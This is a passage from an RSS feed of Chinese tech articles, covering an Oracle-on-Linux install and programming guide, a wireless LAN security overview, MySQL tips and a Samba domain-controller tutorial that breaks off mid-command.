			<pubDate>2010-07-29 17:40</pubDate>
		</item>
		<item>
			<guid>http://eaxi.com/tech/show-10352-1.html</guid>
			<title>评论：是否要保存自己国家的文化独立和教育自主性？</title>
			<author></author>
			<description><![CDATA[
2006年06月29日 11:37      来源：商务周刊    记者 袁瑛<br />
--------------------------------------------------------------------------------<br />
　　专访美国波士顿学院国际高等教育研究中心主任菲力普・G・阿尔特巴克<br />
<br />
　　导读：“与冷战期间的超级霸权国家相比，虽然他们寻求的不是意识形态的控制而是商业利润，但结果却一样――发展中国家学术与文化主权的丧失。”<br />
<br />
　　5年前，正当国人摩拳擦掌准备入世之时，著名教育学家阿尔特巴克教授就撰文提醒，中国这样的发展中国家应对海外教育资源和机构的大量涌入有所应对，不过当时他说：“所幸情况还没那么严重，至少WTO和GATS还没有伸向教育领域。”今天的中国教育事业受跨国公司影响程度之深，范围之广，恐怕是阿尔特巴克所始料不及的。<br><br>]]></description>
			<link>http://eaxi.com/tech/show-10352-1.html</link>
			<category domain="http://eaxi.com/tech/category-1-1.html">Linux</category>
			<pubDate>2010-07-29 17:40</pubDate>
		</item>
		<item>
			<guid>http://eaxi.com/tech/show-10351-1.html</guid>
			<title>如何在你的Linux机器上安装运行Oracle</title>
			<author></author>
			<description><![CDATA[
原作者：Uche Ogbuji (uche.ogbuji@linuxworld.com)<br />
原文名：How to get Oracle up and running on your Linux box － A practical guide to basic installation and use<br />
<br />
<br />
摘要：Oracle于去年年底宣布移植Oracle 8和Oracle Application Server<br />
到Linux。 这是一个明确无误的标志：整个世界都应该认识到，Linux已经<br />
是一个严肃的操作系统，足以承担企业级的应用。 Uche Ogbuji在下文中解<br />
释了应该如何安装、配置和初步使用Oracle 8 for Linux。<br />
<br />
<br />
如何在你的Linux机器上安装运行Oracle<br />
一篇实用指导<br />
<br />
经过了许多谣传和暗示之后，Oracle于1998年10月7日发布了Linux上的<br />
Oracle 8数据库和Oracle Application Server。这是Linux近期历史中最为<br />
耀眼的一幕。<br />
<br />
无论您个人对Oracle公司的看法如何，该公司在大规模数据应用领域的巨大<br />
声誉使这次产品发布成为一个明确 无误的标志：整个世界都应该认识到，<br />
Linux已经是一个严肃的操作系统，足以承担企业级的应用。<br />
<br />
但对于任何真正关心Linux的人来说，各种宣传攻势只是过眼烟云，只有代码<br />
才是关键的。（only code matters. 译注：事实上，Oracle 8i, 即8.1.5<br />
for Linux已经开发完成，但其中的JServer模块有问题，<br />
所以Oracle还没有发布。）<br />
<br />
开始行动<br />
<br />
在RedHat上安装Oracle可以是相当轻而易举的，但要是完全跟着Oracle公司<br />
的文档走就未必那么容易了 。最快的捷径是Tom Bisset的主页：<br />
http://jordan.fortwayne.com/oracle。<br />
<br />
如果您看了Tom的主页，那么您会注意到他漏了JDBC的安装。如果您准备使用<br />
JDBC（对于跨平台的Oracle应用十分方便），只需在安装屏幕要求您选择组<br />
件（components）时，加上该选项即可。当然，您应该先装好JDK。我个人使<br />
用Blackdown的JDK 1.1.7。（译注：Redhat包括JDK）然后需要设置oracle<br />
用户的ClassPath环境变量，最好的办法是在oracle用户目录的.bash_profile<br />
或 .profile中加上一句：<br />
CLASSPATH=/usr/lib/jdk/lib/classes.zip; export CLASSPATH<br />
然后，如果您只需做Web Applet的话，在安装程序"Choose JDBC Components"<br />
的时候， 选择"JDK 1.1 JDBC Thin Driver"，如果您需要做完整的Java应用，<br />
选择"JDK 1.1 JDBC OCI Driver"。<br />
<br />
<br />
另外请注意：安装程序让您输入各口令时，如果口令不符合规范，不会警告。<br />
我第一次安装时，口令里加了"."，这在UNIX中是允许的，Oracle就是另一码<br />
事了。直到安装快结束时，程序才告诉我口令有问题。当时为保险 起见，我<br />
从头做了一次安装。<br />
<br />
安装程序的另一个问题是试图往还没有建立的目录里拷贝文件。有必要在安装<br />
前<br />
mkdir -p /u01/app/oracle/product/8.0.5/doc/server.805/install。这一<br />
关过后万事大吉。<br />
<br />
安装成功后，必须以ROOT身份登录，运行root.sh。我对root.sh作了以下改动：<br />
・ LBIN环境变量从/usr/lbin改成了/usr/local/bin<br />
・ 增加环境变量LOG=/tmp/oracle-root.sh.log ，这样脚本的运行结果会记录<br />
下来<br />
<br />
root.sh里说到，要想数据库作为一个服务器运行，必须先设定TWO_TASK变量；<br />
但是，事实上如果从安装Oracle的机器上运行root.sh，就没有必要设这个变量。<br />
<br />
<br />
Python和Oracle<br />
<br />
我配置了一下python（译注：一种强大，快速的面向对象的脚本语言），以测<br />
试Oracle的编程接口和网络接口 。在python中要连Oracle,需要<br />
Digital Creation（Zope应用服务器的作者）的DCOracle模块。<br />
您只需下载软件并按照指示照做就行。如果是DCOracle 1.1.0，使用<br />
Setup-8.0.4的配置，从ORACLE_LIBS变量中删去-lsocket, -lnsl, -lgen,<br />
-lelf, -laio, 和-lposix4即可，那些都是Solaris专用的。注意Redhat 5.2和<br />
6.0中安装的 python设置不全，config目录和include目录被省略，无法编译<br />
安装第三方的模块。您必须自己编译python或者下载一个合适的RPM。找<br />
python的RPM，最好的去处可能是Oliver Andrich的 Python & Linux主页。<br />
只要rpm -e --nodeps python， 然后 rpm -i python,python-dev和其他RPM<br />
即可。<br />
装好python后，我运行了以下的基本查询，访问Oracle。<br />
<br />
[uche@malatesta uche]$ python<br />
Python 1.5.1 (#1, Sep 3 1998, 22:51:17) [GCC 2.7.2.3] on linux-i386<br />
Copyright 1991-1995 Stichting Mathematisch Centrum, Amsterdam<br />
&gt;&gt;&gt; import DCOracle<br />
&gt;&gt;&gt; #connect to DB. scott/tiger are the test database username/password<br />
&gt;&gt;&gt; dbc=DCOracle.Connect("scott/tiger@sforza") #sforza is the local Oracle<br />
server<br />
&gt;&gt;&gt; c = dbc.cursor()<br />
&gt;&gt;&gt; c.execute("SELECT * FROM emp WHERE emp.deptno = 10")<br />
&gt;&gt;&gt; rows = c.fetchall()<br />
&gt;&gt;&gt; print rows<br />
[(7782, 'CLARK', 'MANAGER', 7839, dbiDate('1981-06-09 00:00:00'), 2450.0,<br />
None, 10),<br />
(7839, 'KING', 'PRESIDENT', None, dbiDate('1981-11-17 00:00:00'), 5000.0,<br />
None, 10),<br />
(7934, 'MILLER', 'CLERK', 7782, dbiDate('1982-01-23 00:00:00'), 1300.0,<br />
None, 10)]<br />
<br />
<br />
开发工作站配置<br />
<br />
我在数据库服务器以外的一台机器上编译安装了python和其他编程接口。最初，<br />
看起来似乎我必须安装Oracle 的所有PRO*C/C++软件包。但要把Oracle安装程<br />
序运行到那一步也够麻烦的，所以我不想那样办。于是我找出了 写程序所需<br />
要的最小限量的头文件(include)、对象文件(object)和库文件(library):<br />
$ORACLE_HOME/lib/*<br />
$ORACLE_HOME/rdbms/demo/*<br />
$ORACLE_HOME/rdbms/lib/*<br />
我的机器上设ORACLE_HOME为/usr/local/oracle。<br />
注意这些文件还不能让您可以在C程序中直接嵌入SQL语句，只有完整安装<br />
PRO*C/C++后才行。如果要用JAVA的话，还得增加$ORACLE_HOME/jdbc/lib/*；<br />
注意把这个目录加到ClASSPATH变量中。<br />
<br />
JDBC连接<br />
<br />
<br />
为测试JDBC连接，我作了一个小程序，在一个listbox内显示测试库中的所<br />
有雇员名。下面的程序1是调用JDBC<br />
的java Applet，程序2是调用JAVA程序的HTML超文本。如果您的JDBC已经安<br />
装成功，将程序1拷贝为 JDBCTest.java，将程序2拷贝为JDBCTest.html，<br />
然后：<br />
<br />
javac JDBCTest.java<br />
appletviewer JDBCTest.html<br />
<br />
您就可以自己看看结果如何了：<br />
<br />
程序1：<br />
<br />
/*<br />
Applet that reads in several rows from a remote Oracle database<br />
and presents them in a listbox.<br />
*/<br />
import java.sql.*;<br />
import java.awt.*;<br />
import java.applet.*;<br />
import java.lang.*;<br />
public class JDBCTest extends Applet<br />
{<br />
file://Single-select ListBox<br />
private List employee_list = new List(5, false)<br />
public void init()<br />
{<br />
setLayout(new BorderLayout());<br />
try {<br />
file://Set up the Oracle JDBC driver<br />
DriverManager.registerDriver(new oracle.jdbc.driver.OracleDriver());<br />
file://Connect to an Oracle database on machine sforza, using username<br />
file://"scott" and password "tiger"<br />
Connection DB_conn = DriverManager.getConnection<br />
("jdbc:oracle:thin:@sforza:1521:ORCL", "scott", "tiger");<br />
file://Connection DB_conn = DriverManager.getConnection<br />
("jdbc:oracle:thin:scott/tiger@sforza:1521:ORCL");<br />
file://Create a JDBC statement object<br />
Statement statement_obj = DB_conn.createStatement();<br />
file://Execute a query to get the employee names from the test DB<br />
ResultSet results = statement_obj.executeQuery ("select ENAME from<br />
EMP");<br />
file://Populate the list box with all the employee names<br />
while (results.next ()){<br />
employee_list.add(results.getString(1));<br />
}<br />
} catch (SQLException e) {<br />
throw new RuntimeException("SQL Exception " + e.getMessage());<br />
}<br />
add(employee_list);<br />
}<br />
}<br />
<br />
<br />
程序2：<br />
<br />
<br />
<br />
<br />
  <br />
<br />
Oracle JDBC driver test<br />
<br />
 Your<br />
browser doesn't support Java. <br />
<br />
<br />
<br />
<br />
<br />
<br />
Last modified: Sat Mar 6 22:19:26 MST 1999<br />
<br />
<br />
<br />
<br />
程序1的大部分都是与具体数据库无关的JDBC调用，依样画葫芦您也可以<br />
访问PostgresQL，主要和Oracle相<br />
关的部分是：<br />
<br />
Connection DB_conn = DriverManager.getConnection<br />
("jdbc:oracle:thin:@sforza:1521:ORCL", "scott", "tiger");<br />
<br />
<br />
注意 Oracle thin JDBC driver中URI的格式：<br />
jdbc:oracle:thin:@::<br />
如果您想在URI中包括用户名和口令的话：<br />
jdbc:oracle:thin:username/password@::<br />
<br />
同样的URI还有一个较长的格式：<br />
"jdbc:oracle:thin:@(description=(address=(host=_IP&gt;)(protocol<br />
=tcp)(port=))(connect_data=(sid=)))"<br />
注意ORCL是系统安装的缺省SID（System Identifier，系统标识符）。<br />
如果您在安装时使用了其他的SID，<br />
在URI里也用那个SID。$ORACLE_HOME/network/admin/tnsnames.ora包<br />
括了Oracle服务器的端口和SID设置。<br />
这是TNS Listener，Oracle网络连接进程的配置文件。如果您无法通过<br />
网络连接数据库的话，首先应该检查<br />
端口号和SID是否正确，TNS listner是否正常（译注：lsnrctl status，<br />
或者tnsping）。JDBC并不是开发<br />
SQL数据库应用的唯一手段，ANSI标准SQLJ允许在JAVA程序中直接嵌入<br />
SQL语句。Oracle for Linux 8.0.5<br />
并没有捆绑SQLJ，但可以作为另一个独立产品获得。SQLJ是100％的<br />
JAVA，应该在Linux上运行没有问题，<br />
事实上SQLJ在底层使用的就是JDBC，因此可以同任何SQL数据库互联，<br />
并不限于Oracle。<br />
<br />
希望上面的这些例子能对您的编程有所帮助。可惜Oracle for Linux<br />
的编程文档相当的少，要不就是隐藏得<br />
十分深:) 也许在数据库编程得心应手之前，您得先啃它一两本书。<br />
<br />
PL/SQL<br />
<br />
对SQL的过程性语言扩展（PL/SQL）可能是Oracle最著名的特点。这种<br />
强大的专业数据库管理语言允许您对<br />
声明性的SQL加逻辑控制。一般，PL/SQL的存储过程（stored procedure）<br />
用命令行的sqlplus，图形化的<br />
Developer/2000（Linux上目前还没有）或其他工具开发，允许您从<br />
Oracle众多的查询接口（Oracle Application Server, Python, Perl,<br />
JDBC 或者C)访问。<br />
<br />
程序3：<br />
<br />
create or replace package stored_sample as<br />
function get_annual_salary (emp_number in number) return number;<br />
end stored_sample;<br />
/<br />
create or replace package body stored_sample as<br />
function get_annual_salary (emp_number in number) return number<br />
is<br />
annual_salary number;<br />
monthly_salary number;<br />
begin<br />
select sal into monthly_salary from emp where empno = emp_number;<br />
annual_salary := monthly_salary * 24;<br />
return (annual_salary);<br />
end get_annual_salary;<br />
end stored_sample;<br />
/<br />
<br />
<br />
上面的程序3是存储进程的一个小示范，它接受一个员工号，返回该员<br />
工的年薪。相关的函数<br />
get_annual_salary封装在PL/SQL包sample_package中。<br />
<br />
如果把程序3拷贝到文件sample.sql，您可以通过sqlplus运行它，如下<br />
所示：<br />
<br />
[oracle@sforza demo]$ sqlplus<br />
<br />
SQL*Plus: Release 8.0.5.0.0 - Production on Sun Mar 7 13:36:32<br />
1999<br />
<br />
(c) Copyright 1998 Oracle Corporation. All rights reserved.<br />
<br />
Enter user-name: scott<br />
Enter password:<br />
<br />
Connected to:<br />
Oracle8 Release 8.0.5.0.0 - Production<br />
PL/SQL Release 8.0.5.0.0 - Production<br />
<br />
SQL&gt; @sample<br />
Package created.<br />
<br />
Package body created.<br />
<br />
SQL&gt; set serveroutput on<br />
SQL&gt; exec<br />
dbms_output.put_line(stored_sample.get_annual_salary(7782))<br />
58800<br />
<br />
PL/SQL procedure successfully completed.<br />
<br />
SQL&gt;<br />
<br />
通过其他的编程接口，也可以使用这个PL/SQL包。Python/DCOracle中，<br />
参见Connection对象的procedures成员<br />
JDBC中，参见java.sql.CallableStatement。<br />
<br />
Oracle有众多的内置函数。事实上，大多数您以前用外部代码完成的<br />
功能都可以通过PL/SQL高效地完成。如果您需要什么比较通常的功能，<br />
请参考PL/SQL手册，看您需要的函数是否已经实现了。如果您准备做<br />
大量的Oracle编程的话，经常翻阅PL/SQL手册以熟悉各种函数是大有<br />
好处的。<br />
<br />
管理Oracle for Linux<br />
<br />
如果您已经习惯运行相对不那么复杂的数据库，那么在Oracle中完成<br />
一些日常操作，例如建立新数据库或者性能调谐会显得相当复杂。有<br />
一些关键的配置文件需要维护，如init.ora, config.ora和<br />
tnsnames.ora。<br />
一般有好几种办法指定一些关键参数，如当前的SID。可以在上述的<br />
文件中声明，也可以在环境变量中声明，或者是通过oracle工具的运<br />
行参数。这种灵活性是值得赞赏的，可惜有时搞清那一种设置优先也<br />
很伤脑筋。<br />
<br />
同Linux一样，Oracle提供的安全机制如果管理不当，就形同虚设。<br />
花时间熟悉各种访问规则和设置，以及各种特殊Oracle用户帐号的角<br />
色，还是值得的。<br />
<br />
Oracle的性能调谐是一个非常大，也非常专的话题。调谐得当，可以<br />
很大程度地提高性能。Oracle运行和CPU、内存、外存的关系是相当<br />
复杂的，这些因素必须考虑。另外，PL/SQL包，存储过程，临时表空<br />
间，表结构本身，所有这些都会随着使用而日趋复杂，保证数据库的<br />
结构优化，没有垃圾，绝对比定期从cron运行vacuum复杂得多。<br />
<br />
Oracle DBA(database adminstrator，数据库管理员）是电脑专业人<br />
员中一个著名的亚文化。这并不奇怪。Oracle的强大功能和灵活性，<br />
也同时意味着多得让人发疯的各种小秘密、小技巧、小陷阱，这方面<br />
的特点它绝不比任何人少－－包括Linux在内。您在征服Linux时可能<br />
已经发现，O'Reilly的动物园（译注：所有O'Reilly and Associate<br />
出版的书都以动物作封面）是一个很好的去处。如果您需要在Oracle<br />
上完成许多工作，找找黄封面的O'Reilly Oracle专辑。那里，你会<br />
找到比Oracle拜占庭迷宫式文档好的多的信息来源。<br />
<br />
Oracle for Linux vs. Oracle for NT<br />
<br />
NT上的Oracle (译注：Oracle在NT上的销量超过了SQL SERVER，是NT<br />
第一大数据库）为许多管理功能提供了图形界面，类似的功能在UNIX<br />
/Linux上只能通过sqlplus访问。这样的图形界面，设计得与NT控制<br />
面板的其他部分颇为相似。Linux DBA必须熟悉sqlplus。NT的问题是，<br />
许多管理任务要求用户在主控台（机器屏幕前）完成，如果想远程管<br />
理就需要昂贵的第三方软件（或者Oracle Enterprise Manager?）。<br />
UNIX上的Oracle管理可以从任何经过授权的远地进行，效果同在机器<br />
主控台一样。<br />
<br />
NT上的Oracle使用一个进程内的多个进程，而UNIX/Linux上的Oracle<br />
使用多个独立的，使用相互独立的内存空间（译注：UNIX上也有多线<br />
程的部分：Multithreaded Server，MTS，相当于前文提到的listener<br />
的多线程版本。）NT上的实现方式避免了进程间通信，有小小的性能<br />
优势，但UNIX上的实现方式提供了高得多的可靠性和数据完整性，因<br />
为一个Oracle进程不可能污染另一个Oracle进程的地址空间。（译注：<br />
在NT和VMS上，创建一个新的进程比创建一个新的线程昂贵得多，而且<br />
NT的进程间切换很慢，因此微软建议程序员只要有可能就使用多线程。<br />
在UNIX上，建立新进程是比较高效的。而在Linux上，建立新进程和新<br />
的内核线程,kernel thread都使用同一个基本系统调用，效率相当高。）<br />
<br />
在32位的硬件系统上，Linux的ext2文件系统的限制是最大文件为2G，<br />
NT为4G。这并不太影响Oracle的用户，因为表空间tablespace可以扩<br />
展到多个文件上，但还是有小小的效率问题。当然，64位的Linux<br />
(Alpha,Ultra-Sparc, PA-RISC)会消除这些限制，64位的Solaris<br />
(Solaris 7)也一样。（译注：这里其实有一些问题，待我查明再向<br />
各位看官交代）。<br />
<br />
<br />
一些好工具/结束语<br />
<br />
Oracle同时发布了Oracle Application Server (OAS)的Linux版本。<br />
对OAS的深入探讨在本文范围之外，但它确实是连接后端Oracle数据<br />
库，建立Internet或Intranet应用的一个强有力的工具。OAS提供<br />
JAVA开发能力，可以将HTTP和IIOP与OCI网络接口串在一起，具备<br />
友好的界面以便设计WEB表单和报表，还有其他方便的工具。<br />
<br />
Oracle如此流行，自然也有相应的一批开源软件（Open Source）<br />
工具。其中的OWS killer 是一个基于JAVAServlet的可以替代OAS<br />
的WEB接口工具，与Apache WEB服务器、Apache的Jserv JAVA Servelet<br />
模块集成，提供对Oracle数据库的访问。（译注：OWS, Oracle Web<br />
Server是Oracle Application Server早期版本的名称）。<br />
您可以在Matt's House 找到更多的工具以管理Oracle的存储过程、<br />
提供快速的报表功能。<br />
<br />
掌握Oracle可不是举手之劳的事，但也没有必要望而却步。确实，<br />
世上有许多更容易管理的数据库，但如果您需要高级的SQL，或者<br />
PL/SQL的功能，或者trigger，或者各种扩展，或者先进的交易管<br />
理，或者必须和Oracle系统共存，您会发现Linux是一个极佳的<br />
Oracle平台。您已经在Linux的世界中探索了这样远，一定也能应<br />
付Oracle的挑战。<br />
<br />
<br />
资源链接：<br />
<br />
Oracle for Linux正式发布的新闻稿:<br />
http://www.oracle.com/cgi-bin/press/printpr.cgi?<br />
file=199810090500.17129.html&mode=corp&td=01&product=00&<br />
tm=10&fd=01&fm=08&status=Search&ty=1998&limit=100&fy=1998<br />
<br />
在Redhat上安装Oracle 8.0.5和OAS 3的详细指导:<br />
（Step-by-step install notes for Oracle 8.0.5 and Application<br />
Server on Red Hat）:<br />
http://jordan.fortwayne.com/oracle<br />
<br />
下载Oracle 8和Oracle Application Server:<br />
http://technet.oracle.com/tech/linux/section.htm<br />
<br />
Oliver Andrich's Python & Linux Page:<br />
http://andrich.net/python<br />
<br />
Oracle on Linux -- Oracle Technet上的论坛<br />
http://f2.dejanews.com/oracletechnet/nonmembers/index.cgi?<br />
do=listmsgs&conf=Early.Linux<br />
<br />
Blackdown.org -- Linux JDK:<br />
http://www.blackdown.org/<br />
<br />
Pythond的Oracle模块:<br />
http://www.zope.org/Download/DCOracle/<br />
<br />
Oracle SQLJ -- 在Java中嵌入SQL:<br />
http://www.oracle.com/java/sqlj/index.html<br />
<br />
OWS Killer:<br />
http://www.adela.sk/kuzela/OWSKiller/<br />
<br />
Matt's House:<br />
http://www.mattshouse.com/procedit/<br />
<br />
在FreeBSD上运行Oracle for Linux<br />
http://www.freebsd.org.ru/linux-oracle.HOW-TO.html<br />
<br />
结束<br />
<br><br>]]></description>
			<link>http://eaxi.com/tech/show-10351-1.html</link>
			<category domain="http://eaxi.com/tech/category-1-1.html">Linux</category>
			<pubDate>2010-07-29 17:40</pubDate>
		</item>
		<item>
			<guid>http://eaxi.com/tech/show-10350-1.html</guid>
			<title>无线网络安全标准</title>
			<author></author>
			<description><![CDATA[
搜集整理： 中国思科CISCO培训网<br />
<br />
无线网络系统的迅速发展和广泛应用令市场对该系统的安全要求不断提高，对现行802.11b无线LAN系统的安全表现也更为关注。<br />
<br />
随着有效用户及潜在攻击者的攻击能力渐渐提高，技术和监管条例不断修改，市场对安全性级别的要求也在不断变化。不过，终端用户对网络安全始终非常重视，例如一般用户都在手提电脑上采用最新的杀毒软件及入侵检测软件。但在实际应用中，在手提电脑上储存登录密码和鉴权这两种指令经常发生冲突。<br />
<br />
加密<br />
<br />
IEEE和WECA建议“把安全层部署在无线LAN层上”。以VPN为例，它可提供端到端安全性，而不会对无线LAN造成影响。<br />
<br />
对于一些客户而言，部署低成本接入点和应用级安全性解决方案是理想选择。例如在公众场所的部署，运营商最大目的是经济地部署具有Wi-Fi互*作性的无线接入网络，让最多的客户享用服务，并提供易用的网页界面供客户注册使用。网络级别的安全性可通过连接企业网络的IPSec VPN接入实现。<br />
<br />
VPN解决方案还支持多数企业应用。IPSec客户机通常应用于远程接入。同样的VPN方案亦支持无线接入客户机访问。<br />
<br />
用户可使用先进的移动安全体系结构 (AMSA) 对无线LAN层提供更强的加密支持(不使用VPN)。AMSA是基于会话 (session) 的RC4*作，没有经过帧 (frame) 技术，可避免许多WEP的弱点。这个RC4实施避免WEP中对每个数据包进行重新加密。相反，一个数据包末端的RC4运算可用于开始下一个数据包的加密。此外，每位用户的独特密钥可用来加密发往或发自每个终端站的会话。目前市场上还没有能够提供这种针对“每位用户，每个会话”的加密。当前市场中大部份实施方案都使用单一WEP密钥（无论如何分配）进行从接入点发往终端站的会话的加密。一般情况下，所有终端站都使用单一密钥向接入点发送会话。基于每位用户会话的RC4加密可防止无意的窃听攻击。<br />
<br />
802.11 安全小组(即802.11i)正致力为未来的802.11网络制定更严格的加密运算。当前的规程草案建议使用RC4/每帧IV加密运算的增强版本和128位AES加密运算。<br />
<br />
鉴权<br />
<br />
鉴权方法主要有两种：证书和共享密钥。每种鉴权方法都有各自的优缺点，但各个部署项目只能采用其中一种方法。杰尔系统等主要无线LAN服务供应商一般提供同时支持两种方法的鉴权系统，以便支持客户部署及避免现有鉴权系统的全部替换。<br />
<br />
通过CHAP接入服务器鉴权 终端站的配置要求使用点到点 (PPP) 协议的CHAP支持鉴权。CHAP采用一种询问和询问应答方案来支持鉴权，使攻击者很难截听到用户名和密码信息。在这个过程中，所有用户鉴权数据均通过加密隧道得到保护以防被窃听。<br />
<br />
PPP接收到的询问应答信息被封装在RADIUS接入请求信息中，再发往RADIUS服务器。由于接入服务器会生成新的CHAP询问值，攻击者不能用已知的用户名和散列的密码登入目标网络。虽然攻击者仍可检索用户名，但必须逆向运行MD5前向散列才能获得用户密码。使用字典式攻击方法逆向运行MD5散列理论上是可能的，但要求大量计算资源，往往会使攻击者中途放弃。使用CHAP鉴权可以防止“意外”攻击，并在许多应用中起到保护作用。<br />
<br />
通过PAP (密码鉴权协议) 的接入服务器鉴权 PAP的鉴权系统目前仍在使用，并往往与鉴权服务器的代理――RADIUS分级体系相关。通过PAP鉴权，用户密码在位于接入服务器（而非终端站）的 RADIUS客户机，使用MD5散列算法进行处理。终端站向接入服务器发送明文密码，并通过此站点与接入服务器间的加密DiffieHellman隧道防止外部窃听。接入服务器打乱这个密码并使用RADIUS共享密钥对散列进行加密，然后将它发送到RADIUS服务器。只有两种人为情况才能破解这种加密：一种是攻击者成功攻击了在RADIUS服务器中恢复的MD5散列密码；另一种是攻击者创建了自己的接入服务器软件以获得打乱前的密码。但这两种攻击都是很难实现的。<br />
<br />
使用安全标记提供“一次性密码”的接入服务器鉴权 IT管理人员可使用RSA的SecurID等安全标记为网络RADIUS服务器进行配置，以便为拨号和无线用户接入网络提供“一次性密码”。攻击者必须在取得密码后一分钟内使用密码，或者必须窃取安全标记和该用户的密码才能接入网络。所有通用RADIUS服务器均可使用SecurID来配置。<br />
<br />
结合CHAP、PAP鉴权和“一次性密码”可有效地防止“人为”攻击。即使攻击者成功恢复了用户的MD5散列密码，该密码也已经无效。<br />
<br />
IEEE 802.11和RADIUS鉴权 通过使用IEEE 802.11标准中规定的MAC层方法或使用 RADIUS等高层方法可对与无线网络相关的终端站进行鉴权。IEEE802.11标准支持MAC层鉴权业务的两个子层：开放系统和共享密钥。开放系统鉴权是设定鉴权服务，是终端站间彼此通信或终端站与接入点间通信的理想选择。802.11共享密钥鉴权容易受到攻击，且不符合Wi-Fi标准。<br />
<br />
802.1X鉴权 802.1X鉴权与终端站和RADIUS服务器中建立的会话密钥一起，为基于证书的共同鉴权提供机制。基于802.1X端口的鉴权协议要求通过安全的有线连接预先向目标网络客户机端和服务器端分配证书。<br />
<br />
密钥<br />
<br />
现有的802.11b规程中未规定密钥分配机制。通过定制脚本工具和人工密钥输入完成的自动密钥分配是目前使用的方法。通过802.1X鉴权方法还可在接入服务器中自动生成密钥。密钥分配是802.11i安全性小组定义的增强型安全网络的重要组成部分.<br><br>]]></description>
			<link>http://eaxi.com/tech/show-10350-1.html</link>
			<category domain="http://eaxi.com/tech/category-1-1.html">Linux</category>
			<pubDate>2010-07-29 17:40</pubDate>
		</item>
		<item>
			<guid>http://eaxi.com/tech/show-10349-1.html</guid>
			<title>myslq的一点小体会</title>
			<author></author>
			<description><![CDATA[
1. 如果只想选择前10个匹配项<br />
select * from tablename limit 10;<br />
2. 如果想将选择的结果写入文件<br />
select * into outfile 'filename' from tablename;<br />
注意filename不能带路径，且放在该数据库data的相同路径下<br><br>]]></description>
			<link>http://eaxi.com/tech/show-10349-1.html</link>
			<category domain="http://eaxi.com/tech/category-1-1.html">Linux</category>
			<pubDate>2010-07-29 17:40</pubDate>
		</item>
		<item>
			<guid>http://eaxi.com/tech/show-10348-1.html</guid>
			<title>FedoraCoreSamba3.0轻松搞定PDC域服务器</title>
			<author></author>
			<description><![CDATA[
<br>　　 其实早在samba2.2版本已经能非常好的支持samba做PDC（主域控制器），只不过到了3.0对域的支持更加好，到现在为止最新的版本3.0,已经支持AD，并且支持Microsoft Kerberos 认证、完全重写和可配置的认证子系统等新功能。<br>　　<br>　　好了，我们来开始今天的任务，我们今天只是实现简单的域控制器PDC的建立，至于他支持的AD和Kerberos等功能大家慢慢的自己去研究，我也不是很懂哦：）<br>　　<br>　　1。安装samba，这个很简单了，如果你是fedora，就可以从光盘直接安装samba的rpm包。<br>　　<br>　　rpm -ivh samba-3.0.0-15.i386.rpm<br>　　<br>　　大家也可以直接到samba的官方网站（http://www.samba.org）去下载最新的软件包<br>　　<br>　　或者下载最新的tar包，http://us1.samba.org/samba/ftp/samba-3.0.0.tar.gz<br>　　<br>　　那就最好按下面的方法编译<br>　　<br>　　tar zvxf samba-3.0.0.tar.gz<br>　　<br>　　cd samba-3.0.0<br>　　<br>　　./configure --prefix=/usr --bindir=/usr/bin --sbindir=/usr/sbin --libexecdir=/usr/libexec --datadir=/usr/share/samba --sysconfdir=/etc/samba --localstatedir=/usr/local/samba/var --libdir=/usr/lib --with-lockdir=/var/locks/samba --with-swatdir=/usr/share/samba/swat --with-codepagedir=/etc/samba/codepages --with-configdir=/etc/samba --with-smbwrapper --with-automount --with-smbmount --with-pam --with-pam_smbpass --with-winbind<br>　　<br>　　make<br>　　<br>　　make intall<br>　　<br>　　ok!安装完以后，下面才是我们的重点，修改/etc/samba/smb.conf，大家最好在原来的基础上修改。<br>　　<br>　　[global]<br>　　<br>　　workgroup = bmit<br>　　netbios name = proxy<br>　　server string = Samba PDC running %v<br>　　socket options = TCP_NODELAY IPTOS_LOWDELAY SO_SNDBUF=8192 SO_RCVBUF=8192<br>　　<br>　　# 这里的workgroup = bmit就代表bmit域，当然如果用bmit.com那就更加规范，但为了客户端输入的方便，还是直接bmit的好，netbios name = proxy表示这台服务器的netbios名,socket options选项设置控制 TCP/IP 性能。所显示的设置就可以与基于 Linux 的系统一起很好地工作了。<br>　　<br>　　os level = 64<br>　　preferred master = yes<br>　　local master = yes<br>　　domain master = yes<br>　　<br>　　#domain master 选项是一个“开关”，通告 Samba 将成为主域控制器。（local master browser）是维护局域网机器列表的服务器被称为本地主浏览器。<br>　　<br>　　security = user<br>　　encrypt passwords = yes<br>　　domain logons = yes<br>　　log file = /var/log/samba/log.%m<br>　　log level = 2<br>　　max log size = 50<br>　　hosts allow = 127.0.0.1 192.168.1.0/255.255.255.0<br>　　<br>　　#这里我们还是使用user验证方式，不要悬在所谓的domain，至于hosts allow大家可以根据自己的需求写那些网段可以访问你的服务器，或者索性不写也行。<br>　　<br>　　logon home = \\%L\%U\.profile<br>　　logon drive = H:<br>　　logon path = \\%L\profiles\%U<br>　　logon script = netlogon.bat<br>　　<br>　　#以上是漫游设置和登录脚本，logon path = \\%L\profiles\%U，会于下面我们要说的 [profiles] 共享成对应关系。<br>　　<br>　　[homes]<br>　　comment = Home Directories<br>　　browseable = no<br>　　writeable = yes<br>　　<br>　　[profiles]<br>　　path = /home/samba/profiles<br>　　writeable = yes<br>　　browseable = no<br>　　create mask = 0600<br>　　directory mask = 0700<br>　　<br>　　[netlogon]<br>　　comment = Network Logon Service<br>　　path = /home/netlogon<br>　　read only = yes<br>　　browseable = no<br>　　write list= root<br>　　<br>　　以上是关于共享的手腕子，其中profile是用来存放每个登录用户的设置文件，以便用户以后登录可以从服务器读取以前的桌面设置，netlogon是用来存放登录脚本的，所以要限制写的权限，假设这里只有root用户可以有权限。<br>　　<br>　　接着是将用户和机器帐户添加到域控制器。<br>　　<br>　　先建立创建了下列各组以及创建两个必要目录，并设置正确的所有权。<br>　　<br>　　groupadd admin<br>　　<br>　　groupadd machines<br>　　<br>　　mkdir -m 0775 /home/netlogon<br>　　<br>　　chown root.admins /home/netlogon<br>　　<br>　　mkdir /home/samba /home/samba/profiles<br>　　<br>　　chown 1757 /home/samba/profiles<br>　　<br>　　对上述目录设置正确的权限和所有权是保护服务器的关键一步哦 :)<br>　　<br>　　手工添加机器帐号<br>　　<br>　　比如我的客户端的机器名是ibm240，那么我们可以这么做<br>　　<br>　　useradd -g machines -d /dev/null -c "machine id" -s /bin/false ibm240$<br>　　<br>　　passwd -l ibm240$<br>　　<br>　　输入两遍密码；<br>　　<br>　　不要忘记标上美元符号；这是必需的，它将该项标识为信任帐户<br>　　<br>　　创建 linux 帐户后，我们现在可以将该机器添加到 /etc/samba/smbpasswd<br>　　<br>　　smbpasswd -a -m 